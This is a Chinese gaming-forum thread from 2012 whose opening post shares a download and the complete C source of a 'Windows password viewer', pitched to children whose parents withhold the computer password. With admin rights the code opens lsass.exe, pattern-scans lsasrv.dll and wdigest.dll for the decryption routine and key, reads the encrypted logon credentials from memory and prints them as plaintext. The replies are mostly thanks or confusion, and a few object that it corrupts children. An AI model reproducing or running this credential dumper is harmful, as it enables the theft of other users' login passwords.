[还在为家长不给电脑密码而心烦?] windows登陆密码查看器开源。

社区服务
高级搜索
猴岛论坛跑跑卡丁车[还在为家长不给电脑密码而心烦?] windows登陆密码查看器开源。
发帖 回复
正序阅读 最近浏览的帖子最近浏览的版块
« 返回列表
23个回复

[资源共享][还在为家长不给电脑密码而心烦?] windows登陆密码查看器开源。

 楼层直达
小枫工作组

ZxID：17878826

等级: 上尉
举报 只看楼主 使用道具 楼主   发表于: 2012-10-30 0

这里下载完整版，直接使用：
find_cipher.rar[点击下载](19 K) 下载次数:51 累计下载获得 ＤＢ 88 刀



下面是源码，请用vc新建一个console application工程后，添加如下cpp。
复制代码
  1. #include <windows.h>
  2. #include <stdio.h>
  4. //
  5. //  Vsbat[0x710dddd]
  6. //  
  7. //  Note: VC++ 6.0编译/Admin权限执行
  8. //
  10. #define MEM_SIZE 0x1000
  11. #define WIN7     0x1
  12. #define WINXP    0x2
  13. #define WIN03    0x4
  15. typedef struct _LSA_UNICODE_STRING {
  16.     USHORT Length;
  17.     USHORT MaximumLength;
  18.     PWSTR  Buffer;
  19. } LSA_UNICODE_STRING , *PLSA_UNICODE_STRING ;
  21. typedef struct _SECURITY_LOGON_SESSION_DATA {  
  22.     ULONG Size;  
  23.     LUID LogonId;
  24.     LSA_UNICODE_STRING UserName;  
  25.     LSA_UNICODE_STRING LogonDomain;  
  26.     LSA_UNICODE_STRING AuthenticationPackage;  
  27.     ULONG LogonType;  ULONG Session;  
  28.     PSID Sid;  
  29.     LARGE_INTEGER LogonTime;  
  30.     LSA_UNICODE_STRING LogonServer;  
  31.     LSA_UNICODE_STRING DnsDomainName;  
  32.     LSA_UNICODE_STRING Upn;
  33. } SECURITY_LOGON_SESSION_DATA,  *PSECURITY_LOGON_SESSION_DATA ;
  36. typedef int (__stdcall * pNTQUERYPROCESSINFORMATION)(HANDLE, DWORD, PVOID, ULONG, PULONG) ;
  37. typedef int (__stdcall * pLSAENUMERATELOGONSESSIONS)(PULONG, PLUID *) ;
  38. typedef int (__stdcall * pDECRIPTFUNC)(PBYTE, DWORD) ;
  39. typedef int (__stdcall * pLSAFREERETURNBUFFER)(PVOID) ;
  40. typedef int (__stdcall * pLSAGETLOGONSESSIONDATA)(PLUID, PSECURITY_LOGON_SESSION_DATA *) ;
  42. int    EnableDebugPrivilege() ;
  43. void   printHexBytes(PBYTE data, int nBytes) ;
  44. PBYTE  search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) ;
  45. void   CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind) ;
  46. HANDLE GetProcessHandleByName(const CHAR *szName) ;
  47. LPVOID GetEncryptListHead() ;
  48. void   printSessionInfo(pLSAGETLOGONSESSIONDATA, pLSAFREERETURNBUFFER, PLUID) ;
  51. // 解密函数特征码(lsasrv.text)
  52. BYTE DecryptfuncSign[] = { 0x8B, 0xFF, 0x55, 0x8B,
  53.                            0xEC, 0x6A, 0x00, 0xFF,
  54.                            0x75, 0x0C, 0xFF, 0x75,
  55.                            0x08, 0xE8 } ;
  56.     
  57. // 密钥KEY相关的关键地址特征码(lsasrv.text)
  58. BYTE DecryptKeySign_WIN7[]  = { 0x33, 0xD2, 0xC7, 0x45, 0xE8, 0x08, 0x00, 0x00, 0x00, 0x89, 0x55, 0xE4 } ;
  59. BYTE DecryptKeySign_XP[]    = { 0x8D, 0x85, 0xF0, 0xFE, 0xFF, 0xFF, 0x50, 0xFF, 0x75, 0x10, 0xFF, 0x35 } ;
  61. // 密文关键指针特征码(wdigest.text)
  62. BYTE KeyPointerSign[]  = { 0x8B, 0x45, 0x08, 0x89, 0x08, 0xC7, 0x40, 0x04 } ;
  64. // 全局变量
  65. BYTE MemBuf[MEM_SIZE], SecBuf[0x200], ThirdBuf[0x200] ;
  66. BYTE Encryptdata[0x100] ;
  71. HANDLE GetProcessHandleByName(const CHAR *szName)
  72. {
  73.     //
  74.     // GetProcessHandle获得lsass.exe进程句柄
  75.     //
  76.     DWORD  dwProcessId , ReturnLength, nBytes ;
  77.     WCHAR  Buffer[MAX_PATH + 0x20] ;
  78.     HANDLE hProcess ;
  79.     PWCHAR pRetStr ;
  80.     pNTQUERYPROCESSINFORMATION NtQueryInformationProcess ;
  81.     CHAR   szCurrentPath[MAX_PATH] ;
  83.     NtQueryInformationProcess = (pNTQUERYPROCESSINFORMATION)GetProcAddress(GetModuleHandle("ntdll.dll") , \
  84.                                     "NtQueryInformationProcess") ;
  86.     // Process ID 一定是 4 的倍数
  87.     for(dwProcessId = 4 ; dwProcessId < 10*1000 ; dwProcessId += 4)
  88.     {
  89.         hProcess = OpenProcess(PROCESS_ALL_ACCESS , FALSE, dwProcessId) ;
  90.         if(hProcess != NULL)
  91.         {
  92.             if(!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength))
  93.             {
  94.                 pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)) ;
  95.                 
  96.                 nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, \
  97.                                     szCurrentPath, MAX_PATH, NULL, NULL) ;
  98.                 if(nBytes)
  99.                 {
  100.                     PCHAR pCurName = &szCurrentPath[nBytes-1] ;
  101.                     while(pCurName >= szCurrentPath)
  102.                     {
  103.                         if(*pCurName == '\\')  break ;
  104.                         pCurName -- ;
  105.                     }
  106.                     pCurName ++ ;
  107.                     if(lstrcmpi(szName, pCurName) == 0)
  108.                     {
  109.                         return hProcess ;
  110.                     }
  111.                 }
  112.             }
  113.             // 关闭打开的句柄
  114.             CloseHandle(hProcess) ;
  115.         }
  116.     }
  117.     return NULL ;
  118. }
  121. LPVOID GetEncryptListHead()
  122. {
  123.     //
  124.     // 根据KeyPointerSign[]获得密文存储的关键相关地址
  125.     //
  126.     HINSTANCE hMod ;
  127.     LPVOID    pEndAddr, KeyPointer, pTemp ;
  129.     hMod = LoadLibrary("wdigest.dll") ;
  130.     pEndAddr = GetProcAddress(hMod, "SpInstanceInit") ;
  131.     pTemp = hMod ;
  132.     KeyPointer = NULL ;
  133.     while(pTemp < pEndAddr && pTemp != NULL)
  134.     {
  135.         KeyPointer = pTemp ;
  136.         pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \
  137.                 KeyPointerSign, sizeof(KeyPointerSign)) ;
  138.     }
  139.     KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)) ;
  140.     FreeLibrary(hMod) ;
  141.     return KeyPointer ;
  142. }
  145. int main()
  146. {
  147.     HINSTANCE hModlsasrv ;
  148.     DWORD     LogonSessionCount, i ,dwBytesRead ;
  149.     PLUID     LogonSessionList, pCurLUID , pListLUID ;
  150.     BYTE      EncryptBuf[0x200] ;
  151.     HANDLE    hProcess ;
  153.     printf("欢迎使用windows密码读取器\n");
  154.     if(EnableDebugPrivilege() != 1)
  155.         puts("EnableDebugPrivilege fail !") ;
  157.     hProcess = GetProcessHandleByName("lsass.exe") ;
  158.     if(hProcess == NULL)
  159.     {
  160.         puts("GetProcessHandleByName fail !") ;
  161.         puts("Try To Run As Administrator ...") ;
  162.         system("echo Press any Key to Continue ... & pause > nul") ;
  163.         return 0 ;
  164.     }
  166.     OSVERSIONINFO VersionInformation ;
  167.     DWORD dwVerOff = 0 , osKind = -1 ;
  169.     // 版本判断
  170.     memset(&VersionInformation, 0, sizeof(VersionInformation));
  171.     VersionInformation.dwOSVersionInfoSize = sizeof(VersionInformation) ;
  172.     GetVersionEx(&VersionInformation) ;
  173.     if (VersionInformation.dwMajorVersion == 5)
  174.     {
  175.       if ( VersionInformation.dwMinorVersion == 1 )
  176.       {
  177.             dwVerOff = 36 ;
  178.             osKind = WINXP ;
  179.       }
  180.       else if (VersionInformation.dwMinorVersion == 2)
  181.       {
  182.             dwVerOff = 28 ;
  183.             osKind = WIN03 ;
  184.       }
  185.     }
  186.     else if (VersionInformation.dwMajorVersion == 6)
  187.     {
  188.         dwVerOff = 32 ;
  189.         osKind = WIN7 ;
  190.     }
  192.     if(osKind == -1)
  193.     {
  194.         printf("[Undefined OS version]  Major: %d Minor: %d\n", \
  195.               VersionInformation.dwMajorVersion, VersionInformation.dwMinorVersion) ;
  196.         system("echo Press any Key to Continue ... & pause > nul") ;
  197.         CloseHandle(hProcess) ;
  198.         return 0 ;
  199.     }
  201.     // 获得解密函数地址
  202.     pDECRIPTFUNC  DecryptFunc ;
  203.     hModlsasrv  = LoadLibrary("lsasrv.dll") ;
  204.     DecryptFunc = (pDECRIPTFUNC)search_bytes((PBYTE)hModlsasrv, (PBYTE)0x7fffdddd, DecryptfuncSign, sizeof(DecryptfuncSign)) ;
  205.           
  206.     // 获得密文链表头地址
  207.     LPVOID  ListHead ;
  208.     ListHead = GetEncryptListHead() ;                
  210.     // 获得全局数据(lsasrv.data及解密KEY相关的数据)
  211.     CopyKeyGlobalData(hProcess, hModlsasrv, osKind) ;  
  213.     HINSTANCE                   hModSecur32 ;
  214.     pLSAENUMERATELOGONSESSIONS  LsaEnumerateLogonSessions ;
  215.     pLSAGETLOGONSESSIONDATA     LsaGetLogonSessionData ;
  216.     pLSAFREERETURNBUFFER        LsaFreeReturnBuffer ;
  218.     hModSecur32               = LoadLibrary("Secur32.dll") ;
  219.     LsaEnumerateLogonSessions = (pLSAENUMERATELOGONSESSIONS)GetProcAddress(hModSecur32, "LsaEnumerateLogonSessions") ;
  220.     LsaGetLogonSessionData    = (pLSAGETLOGONSESSIONDATA)GetProcAddress(hModSecur32, "LsaGetLogonSessionData") ;
  221.     LsaFreeReturnBuffer       = (pLSAFREERETURNBUFFER)GetProcAddress(hModSecur32, "LsaFreeReturnBuffer") ;
  223.     LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList) ;
  224.     for(i = 0 ; i < LogonSessionCount ; i++)
  225.     {
  226.         pCurLUID = (PLUID)((DWORD)LogonSessionList + sizeof(LUID) * i) ;
  227.         // 打印相关信息
  228.         printSessionInfo(LsaGetLogonSessionData, LsaFreeReturnBuffer, pCurLUID) ;
  229.         // 遍历链式结构查找当前的LUID
  230.         ReadProcessMemory(hProcess,  ListHead, EncryptBuf, 0x100, &dwBytesRead) ;
  231.         while(*(DWORD *)EncryptBuf != (DWORD)ListHead)
  232.         {
  233.             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)EncryptBuf), EncryptBuf, 0x100, &dwBytesRead) ;
  234.             pListLUID = (LUID *)((DWORD)EncryptBuf + 0x10) ;
  235.             if((pListLUID->LowPart  ==  pCurLUID->LowPart) && (pListLUID->HighPart == pCurLUID->HighPart))
  236.             {
  237.                 break ;
  238.             }
  239.         }
  240.         if(*(DWORD *)EncryptBuf == (DWORD)ListHead)
  241.         {
  242.             puts("Specific LUID NOT found\n") ;
  243.             continue ;
  244.         }
  246.         DWORD   pFinal = 0 ;
  247.         DWORD   nBytes = 0 ;
  248.         LPVOID  pEncrypt   ;
  249.         pFinal   = (DWORD)(pListLUID) + dwVerOff  ;
  250.         nBytes   = *(WORD *)((DWORD)pFinal + 2) ;            // 密文大小
  251.         pEncrypt = (LPVOID)(*(DWORD *)((DWORD)pFinal + 4)) ; // 密文地址(Remote)
  253.         memset(Encryptdata, 0, sizeof(Encryptdata)) ;
  254.         ReadProcessMemory(hProcess, (LPVOID)pEncrypt, Encryptdata, nBytes, &dwBytesRead) ;
  256.         // 调用解密函数解密
  257.         DecryptFunc(Encryptdata, nBytes) ;
  258.         // 打印密码明文
  259.         printf("密码: %S\n\n", Encryptdata) ;
  260.     }
  262.     CloseHandle(hProcess) ;
  263.     LsaFreeReturnBuffer(LogonSessionList) ;
  265.     FreeLibrary(hModlsasrv) ;
  266.     FreeLibrary(hModSecur32) ;
  267.     if(osKind == WIN7)
  268.     {
  269.         FreeLibrary(GetModuleHandle("bcrypt.dll")) ;
  270.         FreeLibrary(GetModuleHandle("bcryptprimitives.dll")) ;
  271.     }
  272.   
  273.     system("echo Press any Key to EXIT ... & pause > nul") ;
  275.     return 0 ;
  276. }
  279. void printSessionInfo(pLSAGETLOGONSESSIONDATA  LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID)
  280. {
  281.     PSECURITY_LOGON_SESSION_DATA pLogonSessionData ;
  283.     LsaGetLogonSessionData(pCurLUID, &pLogonSessionData) ;
  284.     printf("用户名: %S\n", pLogonSessionData->UserName.Buffer) ;
  285.     printf("登陆域名: %S\n", pLogonSessionData->LogonDomain.Buffer) ;
  287.     LsaFreeReturnBuffer(pLogonSessionData) ;
  288. }
  291. int EnableDebugPrivilege()
  292. {
  293.     HANDLE hToken ;
  294.     LUID   sedebugnameValue ;
  295.     TOKEN_PRIVILEGES tkp ;
  297.     if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken) )
  298.     {
  299.         puts("OpenProcessToken fail") ;
  300.         return 0 ;
  301.     }
  302.     if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue))
  303.     {
  304.         puts("LookupPrivilegeValue fail") ;
  305.         return 0 ;
  306.     }
  308.     tkp.PrivilegeCount = 1 ;
  309.     tkp.Privileges[0].Luid = sedebugnameValue ;
  310.     tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED ;
  311.     if(!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL) )
  312.     {
  313.         puts("AdjustTokenPrivileges fail") ;
  314.         return 0 ;
  315.     }
  316.     return 1 ;
  317. }
  320. PBYTE search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize)
  321. {
  322.     //
  323.     // 在pBegin与pEnd之间搜索pBytes地址处的指定字节序列，字节个数为nsize
  324.     //
  325.     DWORD count ;
  326.     PBYTE pDst ;
  328.     while((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd)
  329.     {
  330.         pDst  = pBytes ;
  331.         count = 0 ;
  332.         while(count < nsize && *pBegin == *pDst)
  333.         {
  334.             pBegin ++ ;
  335.             pDst   ++ ;
  336.             count  ++ ;
  337.         }
  338.         if(count == nsize)  break ;
  339.         pBegin = pBegin - count + 1 ;
  340.     }
  341.     if(count == nsize)
  342.     {
  343.         return (PBYTE)((DWORD)pBegin - (DWORD)count) ;
  344.     }
  345.     else
  346.     {
  347.         return NULL ;
  348.     }
  349. }
  352. void CopyKeyGlobalData(HANDLE hProcess, LPVOID hModlsasrv, int osKind)
  353. {
  354.     PIMAGE_SECTION_HEADER pSectionHead ;
  355.     PIMAGE_DOS_HEADER     pDosHead ;
  356.     PIMAGE_NT_HEADERS     pPEHead  ;
  357.     DWORD                 dwBytes, dwBytesRead ;
  358.     LPVOID                pdataAddr, pDecryptKey , DecryptKey, pEndAddr ;
  359.     
  360.     pDosHead     = (PIMAGE_DOS_HEADER)hModlsasrv ;
  361.     pSectionHead = (PIMAGE_SECTION_HEADER)(pDosHead->e_lfanew + (DWORD)hModlsasrv \
  362.                    + sizeof(IMAGE_NT_HEADERS) + sizeof(IMAGE_SECTION_HEADER)) ;
  364.     pdataAddr = (LPVOID)((DWORD)pSectionHead->VirtualAddress  + (DWORD)hModlsasrv) ;
  365.     dwBytes   = ((DWORD)(pSectionHead->Misc.VirtualSize) / 0x1000 + 1) * 0x1000 ;
  366.     ReadProcessMemory(hProcess, pdataAddr, pdataAddr, dwBytes, &dwBytesRead) ;
  368.     pPEHead   = (PIMAGE_NT_HEADERS)(pDosHead->e_lfanew + (DWORD)hModlsasrv) ;
  369.     pEndAddr  = (LPVOID)(pPEHead->OptionalHeader.SizeOfImage + (DWORD)hModlsasrv) ;
  371.     switch(osKind)
  372.     {
  373.     case WINXP :
  374.     case WIN03 :
  375.         {
  376.             pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
  377.                             DecryptKeySign_XP, sizeof(DecryptKeySign_XP)) ;
  379.             pDecryptKey = (LPVOID)*(DWORD *)((DWORD)pDecryptKey + sizeof(DecryptKeySign_XP)) ;
  380.             ReadProcessMemory(hProcess, (LPVOID)pDecryptKey, &DecryptKey, 4, &dwBytesRead) ;
  381.             // DecryptKey 是与解密相关的关键地址
  382.             ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
  383.             pdataAddr  = (LPVOID)pDecryptKey ;
  384.             *(DWORD *)pdataAddr = (DWORD)MemBuf ;
  386.             break ;
  387.         }
  388.     case WIN7 :
  389.         {
  390.             // WIN7 需调用这两个DLL中的函数进行解密
  391.             LoadLibrary("bcrypt.dll") ;
  392.             LoadLibrary("bcryptprimitives.dll") ;
  394.             pDecryptKey = (LPVOID)search_bytes((PBYTE)(hModlsasrv), (PBYTE)pEndAddr , \
  395.                             DecryptKeySign_WIN7, sizeof(DecryptKeySign_WIN7)) ;
  396.             pDecryptKey = (LPVOID)(*(DWORD *)((DWORD)pDecryptKey - 4)) ;
  397.     
  398.             // DecryptKey 是与解密相关的关键地址
  399.             ReadProcessMemory(hProcess,  pDecryptKey, &DecryptKey, 0x4, &dwBytesRead) ;
  400.             
  401.             ReadProcessMemory(hProcess, (LPVOID)DecryptKey, MemBuf, 0x200, &dwBytesRead) ;
  402.             pdataAddr  = (LPVOID)pDecryptKey ;
  403.             *(DWORD *)pdataAddr = (DWORD)MemBuf ;
  404.     
  405.             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 8)), SecBuf, 0x200, &dwBytesRead) ;
  406.             pdataAddr  = (LPVOID)((DWORD)MemBuf + 8) ;
  407.             *(DWORD *)pdataAddr = (DWORD)SecBuf ;
  409.             ReadProcessMemory(hProcess, (LPVOID)(*(DWORD *)((DWORD)MemBuf + 0xC)), ThirdBuf, 0x200, &dwBytesRead) ;
  410.             pdataAddr  = (LPVOID)((DWORD)MemBuf + 0xC) ;
  411.             *(DWORD *)pdataAddr = (DWORD)ThirdBuf ;        
  413.             break ;
  414.         }
  415.     }
  416.     return ;
  417. }
  420. // -- EOF -- //
[ 此帖被小枫工作组在2012-10-30 12:52重新编辑 ]
本帖de评分： 共 2 条评分 ＤＢ +2
ＤＢ+1 2012-10-31

谢谢了,拿去学习研究了!
ＤＢ+1 2012-10-30

果断先加分… 不过牛B哥的东西都是C语言写的…看不懂 原理是什么啊?
隐藏
打赏 收藏 新鲜事

相关主题

回复 引用
　 鲜花[0]　 鸡蛋[0]
卩丶小破孩er

ZxID：16919656

等级: 大将
好好的一个竞技类游戏，竟然让我等玩成了一个满足虚荣心的养成类游戏。
举报 只看该作者 23楼  发表于: 2013-04-13 0
不明觉厉
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
相望笑而不语

ZxID：23211710

等级: 上尉
举报 只看该作者 22楼  发表于: 2013-04-13 0
支持
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
心迷测验。

ZxID：24382864

等级: 大将
举报 只看该作者 21楼  发表于: 2013-04-13 0
完全看不懂  但是楼主好像也是个大神
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
天地创造的决斗

ZxID：21995478

等级: 大校
举报 只看该作者 20楼  发表于: 2013-04-13 0
不需要
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
狂龙☆龙卷★♂

ZxID：23154720

等级: 少尉
CP3 The Captain.
举报 只看该作者 19楼  发表于: 2013-04-13 0
回 15楼(a1591123) 的帖子
PE即可
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
幻影2020

ZxID：24513296

等级: 新兵
举报 只看该作者 18楼  发表于: 2013-04-13 0
太麻烦了
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
为电脑能开机丶

ZxID：18563743

等级: 大校
一场游戏丶一场梦, 不过是短暂瞬间
举报 只看该作者 17楼  发表于: 2012-10-31 0
回 15楼(a1591123) 的帖子
光盘呢,?U盘呢,?DOS呢,?都可以的亲,我只爱源码.
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
为电脑能开机丶

ZxID：18563743

等级: 大校
一场游戏丶一场梦, 不过是短暂瞬间
举报 只看该作者 16楼  发表于: 2012-10-31 0
谢谢了,拿去学习研究了!
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
a1591123

ZxID：5813355

等级: 新兵
举报 只看该作者 15楼  发表于: 2012-10-31 0
好吧  就想问下你  没密码进去你怎么运行这个程序？？？
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
a1591123

ZxID：5813355

等级: 新兵
举报 只看该作者 14楼  发表于: 2012-10-31 0
谢谢分享！！！！！！！！！！！！
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
、西瓜°

ZxID：19411037

等级: 上将
I have a kind of persistence,called Kartrider

举报 只看该作者 13楼  发表于: 2012-10-30 0
小枫的东西总是这么给力……

内容来自[手机版]
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
猫玖。

ZxID：18449694

等级: 中将
爱，的面包魂
举报 只看该作者 12楼  发表于: 2012-10-30 0
完全不懂
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
荒岛求生

ZxID：19559583

等级: 中校
幸福就像一个沙漏，你觉得它是在一点一滴的流逝着？还是一点一滴的累积呢
举报 只看该作者 11楼  发表于: 2012-10-30 0
用不着用程序，系统自身就可以解密进去
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
牵魂 、梦几遍＿

ZxID：18436272

等级: 上士
举报 只看该作者 10楼  发表于: 2012-10-30 0
无爱 不需要 支持下
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
lfdsa

ZxID：18371552

等级: 元帅
[img]http://goo.gl/5x4nz[/img]

举报 只看该作者 9楼  发表于: 2012-10-30 0
太神奇了
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
烟消丨灬云散

ZxID：12400286

等级: 大将
盗用哥的头像、对哥的图像有意见木有小JJ

举报 只看该作者 8楼  发表于: 2012-10-30 0
果断先加分…
不过牛B哥的东西都是C语言写的…看不懂
原理是什么啊?
回复 引用 新鲜事
　 鲜花[1]　 鸡蛋[0]
?今夕何夕c

ZxID：18246304

等级: 上将
举报 只看该作者 7楼  发表于: 2012-10-30 0
哈哈，强大，可惜我用不着，支持了～！～
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
d739

ZxID：20645781

等级: 新兵
举报 只看该作者 6楼  发表于: 2012-10-30 0
教坏小孩子，这有个工具不用这么麻烦的
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
〓猪头哥〓

ZxID：10254433

等级: 大将
不想被他人猪头，就要自己主动猪头。其实觉得这个小猪蛮可爱嘀！
举报 只看该作者 5楼  发表于: 2012-10-30 0
把小孩子都教坏了
不好呀
回复 引用 新鲜事
　 鲜花[0]　 鸡蛋[0]
« 返回列表
发帖 回复